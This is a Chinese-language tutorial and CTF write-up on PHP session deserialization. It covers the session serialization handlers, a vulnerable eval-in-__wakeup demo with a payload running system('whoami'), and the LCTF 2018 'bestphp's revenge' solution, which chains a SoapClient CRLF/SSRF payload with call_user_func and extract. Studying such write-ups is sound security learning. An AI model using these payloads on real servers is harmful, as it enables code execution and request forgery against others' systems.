0%

PHPSession反序列化

有关session的基础知识

先来了解一下关于session的一些基础知识

什么是session?

在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

session是如何起作用的?

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

除此之外,还需要知道session_start()这个函数已经这个函数所起的作用:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

PHPSession序列化机制

先了解一下php.ini中的一些Session配置

session.save_path=”” –设置session的存储路径
session.save_handler=””–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

Linux上搭建的话,常见的php-session存放位置:
/var/lib/php5/sess_PHPSESSID、/var/lib/php7/sess_PHPSESSID、/var/lib/php/sess_PHPSESSID、/tmp/sess_PHPSESSID、/tmp/sessions/sess_PHPSESSED

根据php.ini中的配置项,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中,使用的三种不同的处理格式,即session.serialize_handler定义的三种引擎:

处理器 存储格式 例子
php_serialize 经过serialize()函数反序列后的数组 a:1:{s:8:”sesssion”;s:3:”hhh”;}
php 键名+` `+经过serialize()函数反序列后的值
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()反序列后的值 不可见字符+sesssions:3:”hhh”;

漏洞利用演示

ps.php文件:

<?php
ini_set("session.serialize_handler", "php_serialize");//用于在运行时设置配置选项
session_start();//用于启动一个新的会话或恢复现有的会话。会话数据存储在服务器上,通过会话ID(通常存储在Cookie中)来识别。
$_SESSION['sesssion'] = $_GET['ses'];
echo $_SESSION['session'];

p.php文件:

<?php
ini_set("session.serialize_handler", "php");
session_start();
class A{
public $name;
function __wakeup(){
eval($this->name);
}
}
$b = new A();

poc.php

<?php
class A
{
public $name;
function __wakeup(){
eval($this->name);
}
}
$b = new A();
$b->name = "system('whoami');";
echo serialize($b);
#输出: O:1:"A":1:{s:4:"name";s:17:"system('whoami');";}
  1. 运行poc.php得到payload:O:1:”A”:1:{s:4:”name”;s:17:”system(‘whoami’);”;}
  2. 访问ps.php,**ps.php?ses=|O:1:”A”:1:{s:4:”name”;s:17:”system(‘whoami’);”;}**。
  3. 访问p.php。

可以看到执行了payload中的system('whoami')函数,漏洞利用成功。

image-20250127205956973

​ 在访问ps.php后会生成一个PHPSESSID文件,使用php_serialize处理器来存储的session数据,其内容为:**a:1:{s:8:”sesssion”;s:49:”|O:1:”A”:1:{s:4:”name”;s:17:”system(‘whoami’);”;}**。而当我们再去访问p.php时,session_start()找到的文件依然是之前的PHPSESSID文件,php处理器在处理里面的session数据时,将|前面的内容当作键名,|后面的内容当作之前序列化的值。故而会对payload进行反序列化,进而触发__wakeup方法,来执行任意代码。

例题-bestphp’s revenge

先学习两个函数:

  1. call_user_func函数用于调用一个可调用的函数或方法。调用函数,第一个参数为字符串(函数名),第二个参数为回调函数的参数;调用方法,只用到第一个参数是一个数组,数组中依次为类名、方法名。
  2. extract函数用于从数组中导入变量到当前的符号表,即将数组的键作为变量名,数组的值作为变量的值。

源码如下:

image-20250127232948786

扫描目录,有一个flag.php文件,由该文件得知只有127.0.0.1请求该页面才能得到flag,所以这明显是考察SSRF漏洞。

大致思路:利用原生类SoapClient中的__call方法进行SSRF和CRLF注入,来伪造任意header。但是这道题没有反序列化函数,这时候便要利用PHPSession反序列化漏洞来触发SoapClient类的__call方法了。

  1. PHPSession反序列化,构造SoapClient类及其中的任意header。

    <?php
    $location = "http://127.0.0.1/flag.php";
    $agent = "npfs\r\nCookie: PHPSESSID=579999\r\n";
    $uri = "http://127.0.0.1/";
    $a = new SoapClient(null,array('location'=>$location, 'user_agent'=>$agent, 'uri'=>$uri));
    echo "|".urlencode(serialize($a)); #防止过滤使用url编码

    伪造session需要第一次以php_serialize处理器来存储session数据,而默认的处理器是php所以该怎么办呢?PHP7中的session_start()函数可以接收一个数组作为参数,然后覆盖php.ini中的session的配置项。

    也就是说执行我们让源码执行session_stsrt(array('serialize_handler'=>'php_serialize'))即可,但是怎么能执行呢?利用call_user_func()和extract()这两个函数就行了。

    GET参数f传入session_start、name传入poc,POST传入serialize_handler=php_serialize

    image-20250128004506601

  2. 访问SoapClient类中不存在的方法,进而触发__call方法。

    GET参数f传入extract、name传入SoapClient,POST传入b=call_user_func

    写一下代码运行大致过程:call_user_func($_GET['f'], $_POST);变成call_user_func('extract','b=call_user_func'),得到$b=call_user_func$_SESSION['name']=$_GET['name']=SoapClient,又因为$a=array(reset($_SESSION), 'welcome_to_the_lctf2018');$a=array('SoapClient','welcome_to_the_lctf2018'),最后call_user_func($b,$a)触发__call方法。

    image-20250128010121343
  3. 访问index.php,bp抓包修改PHSESSID值为579999(前面伪造的header中的PHPSESSID值),即可得到flag。

    image-20250128010426077

参考文章

https://xz.aliyun.com/news/6962

https://www.freebuf.com/articles/web/324519.html

[LCTF 2018]bestphp‘s revenge

https://www.cnblogs.com/NPFS/p/14335370.html